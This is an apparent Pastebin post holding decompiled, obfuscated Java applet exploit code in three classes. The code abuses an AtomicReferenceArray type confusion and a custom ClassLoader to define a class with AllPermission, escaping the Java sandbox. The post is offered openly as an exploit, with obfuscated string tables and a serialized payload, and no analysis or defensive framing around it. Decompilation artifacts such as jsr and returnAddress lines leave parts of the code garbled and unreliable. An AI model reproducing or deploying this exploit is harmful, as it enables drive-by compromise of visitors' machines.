SHARE
TWEET

Java Array Exploit Code - Different Classes

adityaks Jul 1st, 2012 306 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package q_a;
  2.  
  3. import java.applet.Applet;
  4. import java.lang.reflect.Constructor;
  5. import java.security.AllPermission;
  6. import java.security.Permissions;
  7. import java.security.ProtectionDomain;
  8. import java.util.concurrent.atomic.AtomicReferenceArray;
  9.  
  10. public class q_a extends Applet
  11. {
  12.   public static int z;
  13.   private static final String A;
  14.  
  15.   public static void q_a(String paramString)
  16.     throws Exception
  17.   {
  18.     Object localObject = Class.forName(q_a()).getConstructor(new Class[] { String.class }).newInstance(new Object[] { paramString });
  19.   }
  20.  
  21.   public static Permissions q_b()
  22.   {
  23.     Permissions localPermissions = new Permissions();
  24.     localPermissions.add(new AllPermission());
  25.     return localPermissions;
  26.   }
  27.  
  28.   public void init()
  29.   {
  30.     q_c.q_a(getParameter("b"), getClass().getClassLoader());
  31.   }
  32.  
  33.   public static String q_a()
  34.   {
  35.     return A.substring(4);
  36.   }
  37.  
  38.   public static void q_a(String paramString, Object paramObject, Object[] paramArrayOfObject)
  39.   {
  40.     int i = z;
  41.     AtomicReferenceArray localAtomicReferenceArray = (AtomicReferenceArray)paramArrayOfObject[1];
  42.     localAtomicReferenceArray.set(0, paramObject);
  43.     q_b localq_b = ((q_b[])paramArrayOfObject[0])[0];
  44.     q_b.q_a(localq_b, paramString);
  45.     if (i != 0)
  46.       q_b.z = !q_b.z;
  47.   }
  48.  
  49.   public static ProtectionDomain q_c()
  50.     throws Exception
  51.   {
  52.     return new ProtectionDomain(q_c.q_b(), q_b());
  53.   }
  54.  
  55.   static
  56.   {
  57.     jsr 9;
  58.     A = "T\007i\fQJ_0XT\001Y";
  59.     break label123;
  60.     localObject = returnAddress;
  61.   }
  62. }
  63.  
  64. =============================================================================================================
  65.  
  66. package q_a;
  67.  
  68. public class q_b extends ClassLoader
  69. {
  70.   public static boolean z;
  71.  
  72.   public static void q_a(q_b paramq_b, String paramString)
  73.   {
  74.     try
  75.     {
  76.       paramq_b.defineClass(q_a.q_a(), q_c.q_a(), 0, q_c.q_a().length, q_a.q_c());
  77.       q_a.q_a(paramString);
  78.     }
  79.     catch (Exception localException)
  80.     {
  81.     }
  82.   }
  83. }
  84.  
  85. =============================================================================================================
  86. package q_a;
  87.  
  88. import java.io.ByteArrayInputStream;
  89. import java.io.InputStream;
  90. import java.io.ObjectInputStream;
  91. import java.math.BigInteger;
  92. import java.net.URL;
  93. import java.security.CodeSource;
  94. import java.security.cert.Certificate;
  95.  
  96. public class q_c
  97. {
  98.   private static final String[] z;
  99.  
  100.   public static byte[] q_a()
  101.   {
  102.     return q_b(z[7]);
  103.   }
  104.  
  105.   public static CodeSource q_b()
  106.     throws Exception
  107.   {
  108.     URL localURL = new URL(z[1]);
  109.     Certificate[] arrayOfCertificate = new Certificate[0];
  110.     String str = z[0];
  111.     return new CodeSource(localURL, arrayOfCertificate);
  112.   }
  113.  
  114.   public static String q_a(String paramString)
  115.   {
  116.     int i = q_a.z;
  117.     if (q_b.z)
  118.     {
  119.       i++;
  120.       q_a.z = i;
  121.     }
  122.     return Integer.toHexString(paramString.length()) + String.format(z[2], new Object[] { new BigInteger(paramString.getBytes()) });
  123.   }
  124.  
  125.   public static void q_a(String paramString, InputStream paramInputStream, Object paramObject)
  126.     throws Exception
  127.   {
  128.     ObjectInputStream localObjectInputStream = new ObjectInputStream(paramInputStream);
  129.     Object[] arrayOfObject = (Object[])localObjectInputStream.readObject();
  130.     q_a.q_a(paramString, paramObject, arrayOfObject);
  131.   }
  132.  
  133.   public static byte[] q_c(String paramString)
  134.   {
  135.     int j = q_a.z;
  136.     byte[] arrayOfByte = new byte[paramString.length() / 2];
  137.     int i = 0;
  138.     if (j != 0);
  139.     do
  140.       do
  141.       {
  142.         arrayOfByte[(i / 2)] = (byte)((Character.digit(paramString.charAt(i), 16) << 4) + Character.digit(paramString.charAt(i + 1), 16));
  143.         i += 2;
  144.       }
  145.       while (i < paramString.length());
  146.     while (j != 0);
  147.     return arrayOfByte;
  148.   }
  149.  
  150.   public static void q_a(String paramString, Object paramObject)
  151.   {
  152.     String str1 = z[6];
  153.     ByteArrayInputStream localByteArrayInputStream = null;
  154.     String str2 = "";
  155.     try
  156.     {
  157.       str2 = [Lq_a.q_b.class.getName();
  158.     }
  159.     catch (Exception localException1)
  160.     {
  161.     }
  162.     try
  163.     {
  164.       localByteArrayInputStream = new ByteArrayInputStream(q_c(z[4] + q_a(str2) + z[3]));
  165.       String str3 = z[5];
  166.       q_a(paramString, localByteArrayInputStream, paramObject);
  167.     }
  168.     catch (Exception localException2)
  169.     {
  170.     }
  171.   }
  172.  
  173.   public static byte[] q_b(String paramString)
  174.   {
  175.     int i2 = q_a.z;
  176.     String str = z[8];
  177.     if (i2 == 0)
  178.       if (paramString.length() == 0)
  179.         return new byte[0];
  180.     int i = 0;
  181.     int j = paramString.length() - 1;
  182.     if (i2 != 0);
  183.     do
  184.     {
  185.       i++;
  186.       j--;
  187.     }
  188.     while ((j > 0) && ((i2 == 0) && (i2 == 0) && (paramString.charAt(j) == '=')));
  189.     j = paramString.length() * 6 / 8 - i;
  190.     byte[] arrayOfByte = new byte[j];
  191.     int k = 0;
  192.     int m = 0;
  193.     if (i2 != 0);
  194.     do
  195.     {
  196.       int n = (q_a(paramString.charAt(m)) << 18) + (q_a(paramString.charAt(m + 1)) << 12) + (q_a(paramString.charAt(m + 2)) << 6) + q_a(paramString.charAt(m + 3));
  197.       int i1 = 0;
  198.       if (i2 != 0);
  199.       while (true)
  200.       {
  201.         arrayOfByte[(k + i1)] = (byte)(n >> 8 * (2 - i1) & 0xFF);
  202.         i1++;
  203.         if (i1 < 3)
  204.         {
  205.           if (i2 != 0)
  206.             break;
  207.           if (k + i1 < arrayOfByte.length)
  208.             continue;
  209.         }
  210.         else
  211.         {
  212.           k += 3;
  213.           m += 4;
  214.         }
  215.       }
  216.     }
  217.     while (m < paramString.length());
  218.     return arrayOfByte;
  219.   }
  220.  
  221.   public static int q_a(char paramChar)
  222.   {
  223.     int i = q_a.z;
  224.     if (i == 0)
  225.       if (paramChar >= 'A')
  226.       {
  227.         if (i != 0)
  228.           break label32;
  229.         if (paramChar <= 'Z')
  230.           return paramChar - 'A';
  231.       }
  232.     label32: if (i == 0)
  233.       if (paramChar >= 'a')
  234.       {
  235.         if (i != 0)
  236.           break label60;
  237.         if (paramChar <= 'z')
  238.           return paramChar - 'a' + 26;
  239.       }
  240.     label60: if (i == 0)
  241.       if (paramChar >= '0')
  242.       {
  243.         if (i != 0)
  244.           break label88;
  245.         if (paramChar <= '9')
  246.           return paramChar - '0' + 52;
  247.       }
  248.     label88: if (i == 0)
  249.       if (paramChar == '+')
  250.         return 62;
  251.     if (i == 0)
  252.     {
  253.       if (paramChar == '/')
  254.         return 63;
  255.       if (i != 0)
  256.         break label122;
  257.     }
  258.     label122: return paramChar != '=' ? -1 : 0;
  259.   }
  260.  
  261.   static
  262.   {
  263.     String[] tmp5_2 = new String[9];
  264.     jsr 77;
  265.     tmp5_2[0] = "";
  266.     String[] tmp13_5 = tmp5_2;
  267.     jsr 69;
  268.     tmp13_5[1] = "1v|^ex0?";
  269.     String[] tmp21_13 = tmp13_5;
  270.     jsr 61;
  271.     tmp21_13[2] = "rg";
  272.     String[] tmp29_21 = tmp21_13;
  273.     jsr 53;
  274.     tmp29_21[3] = "\021Z\"xfc.!\003g\025)U\016\031\021/\"\013og/'\003hg/ \013og/ \nhg(#\fmg/#\013i\026)!\fia.\"~hb($\rfa\\\"~id)V\r\032a,'\016he(\"\rjaZ'\017m\022)!\fkaY&in)#\t\032c.'\017i\021)T\rfa,%\tib)&\rj`-&\016i\022)#\rjc.'\the)!\ff\026&T\t\033\022^!y\032a*&\013o\024/\"\013og.%yog/%\rn`-'\tif()\fkg/!\bj\025+S\r\036a.'\rif-V\r\034a.&~i`-V\017\031a-&zib)#\fkd]'\003hg(!\013o`Z \013od";
  275.     String[] tmp37_29 = tmp29_21;
  276.     jsr 45;
  277.     tmp37_29[4] = "\026\\Uog/%\fj`- \013nd*R\017\034a^&\nha)!\t\032a\\&\ni\022)'\t\032cY&\ti\026)%\rl`+#yfg\\U\016gnY!\013hd-)\r\034g- \013og((\fog/ \013og/\"\fj`- \013o";
  278.     String[] tmp45_37 = tmp37_29;
  279.     jsr 37;
  280.     tmp45_37[5] = "";
  281.     String[] tmp53_45 = tmp45_37;
  282.     jsr 28;
  283.     tmp53_45[6] = "";
  284.     String[] tmp62_53 = tmp53_45;
  285.     jsr 19;
  286.     tmp62_53[7] = "";
  287.     String[] tmp71_62 = tmp62_53;
  288.     jsr 10;
  289.     tmp71_62[8] = "";
  290.     z = tmp71_62;
  291.     break label199;
  292.     localObject = returnAddress;
  293.   }
  294. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top